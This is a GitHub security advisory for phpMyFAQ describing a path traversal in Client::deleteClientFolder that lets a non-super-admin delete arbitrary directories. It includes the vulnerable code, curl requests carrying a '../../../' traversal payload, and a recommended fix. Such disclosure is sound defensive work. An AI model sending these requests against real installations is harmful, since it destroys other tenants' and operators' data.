GHSA-GH9P-Q46P-57G2
Vulnerability from github – Published: 2026-05-06 20:47 – Updated: 2026-05-06 20:47Summary
Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCE_DELETE permission (a role short of SUPER_ADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.
Details
phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:
public function deleteClientFolder(string $sourceUrl): bool
{
if (!$this->isMultiSiteWriteable()) {
return false;
}
$sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);
return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);
}
str_replace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.
Callers feed the URL from the HTTP request body:
phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:
if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {
$clientData->url comes from json_decode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCE_DELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().
InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.
Precedent
GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.
Proof of Concept
Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCE_ADD and INSTANCE_DELETE rights, no SUPER_ADMIN flag.
Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.
Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'
Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:
curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \
-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
-d '{"url":"https://../../../tmp/pmf-poc/"}'
The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.
Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.
Impact
Any phpMyFAQ admin holding INSTANCE_ADD + INSTANCE_DELETE but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:
- Destroy other tenants' data on a shared multisite deployment by traversing above the
clientFolderinto peer directories. - Delete phpMyFAQ's own
content/,config/, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.
phpMyFAQ's permission model gives INSTANCE_ADD / INSTANCE_DELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.
Recommended Fix
Canonicalize and validate the URL before forming the filesystem path.
phpmyfaq/src/phpMyFAQ/Instance/Client.php:583:
public function deleteClientFolder(string $sourceUrl): bool
{
if (!$this->isMultiSiteWriteable()) {
return false;
}
$parsed = parse_url($sourceUrl);
if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') {
return false;
}
$host = $parsed['host'];
if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) {
return false;
}
$target = realpath($this->clientFolder . $host);
$root = realpath($this->clientFolder);
if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {
return false;
}
return $this->filesystem->deleteDirectory($target);
}
parse_url rejects malformed inputs, the regex pins the host to valid DNS characters (no /, no ..), and the realpath check ensures the resolved target lives under clientFolder. Apply the same canonicalization at the controller layer (InstanceController::add, ::update, ::delete) so the URL is validated before every call that touches the filesystem.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:47:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../\u003cpath\u003e` as the client URL and the server recursively deletes arbitrary directories under the web user\u0027s rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n if (!$this-\u003eisMultiSiteWriteable()) {\n return false;\n }\n\n $sourcePath = str_replace(search: \u0027https://\u0027, replace: \u0027\u0027, subject: $sourceUrl);\n return $this-\u003efilesystem-\u003edeleteDirectory($this-\u003eclientFolder . $sourcePath);\n}\n```\n\n`str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this-\u003eclientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint.\n\nCallers feed the URL from the HTTP request body:\n\n`phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`:\n\n```php\nif (1 !== $instanceId \u0026\u0026 $client-\u003edeleteClientFolder($clientData-\u003eurl) \u0026\u0026 $client-\u003edelete($instanceId)) {\n```\n\n`$clientData-\u003eurl` comes from `json_decode($request-\u003egetContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`.\n\n`InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points.\n\n### Precedent\n\nGHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project\u0027s INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag.\n\nStep 1: Alice authenticates and retrieves the CSRF token for the instance admin page.\n\nStep 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`\u0027https://\u0027 . $hostname`)` call:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance\" \\\n -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n -d \u0027{\"url\":\"https://../../../tmp/pmf-poc/\",\"instance\":\"poc\",\"comment\":\"poc\",\"email\":\"a@b\",\"admin\":\"alice\",\"password\":\"poc1234!\"}\u0027\n```\n\nStep 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData-\u003eurl` directly to `deleteClientFolder`:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance/2\" \\\n -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n -d \u0027{\"url\":\"https://../../../tmp/pmf-poc/\"}\u0027\n```\n\nThe server computes `$sourcePath = \u0027../../../tmp/pmf-poc/\u0027`, concatenates to `\u003cclientFolder\u003e/`, and recursively deletes the resulting path.\n\nLive verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.\n\n## Impact\n\nAny phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:\n\n- Destroy other tenants\u0027 data on a shared multisite deployment by traversing above the `clientFolder` into peer directories.\n- Delete phpMyFAQ\u0027s own `content/`, `config/`, or cache directories and lock the install out.\n- On a hosted deployment, overwrite or delete files anywhere under the web user\u0027s reach, including customer uploads outside phpMyFAQ.\n\nphpMyFAQ\u0027s permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.\n\n## Recommended Fix\n\nCanonicalize and validate the URL before forming the filesystem path.\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n if (!$this-\u003eisMultiSiteWriteable()) {\n return false;\n }\n\n $parsed = parse_url($sourceUrl);\n if (!is_array($parsed) || !isset($parsed[\u0027host\u0027]) || ($parsed[\u0027scheme\u0027] ?? \u0027\u0027) !== \u0027https\u0027) {\n return false;\n }\n\n $host = $parsed[\u0027host\u0027];\n if (!preg_match(\u0027/^[a-z0-9][a-z0-9.-]*$/i\u0027, $host)) {\n return false;\n }\n\n $target = realpath($this-\u003eclientFolder . $host);\n $root = realpath($this-\u003eclientFolder);\n if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {\n return false;\n }\n\n return $this-\u003efilesystem-\u003edeleteDirectory($target);\n}\n```\n\n`parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-gh9p-q46p-57g2",
"modified": "2026-05-06T20:47:54Z",
"published": "2026-05-06T20:47:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.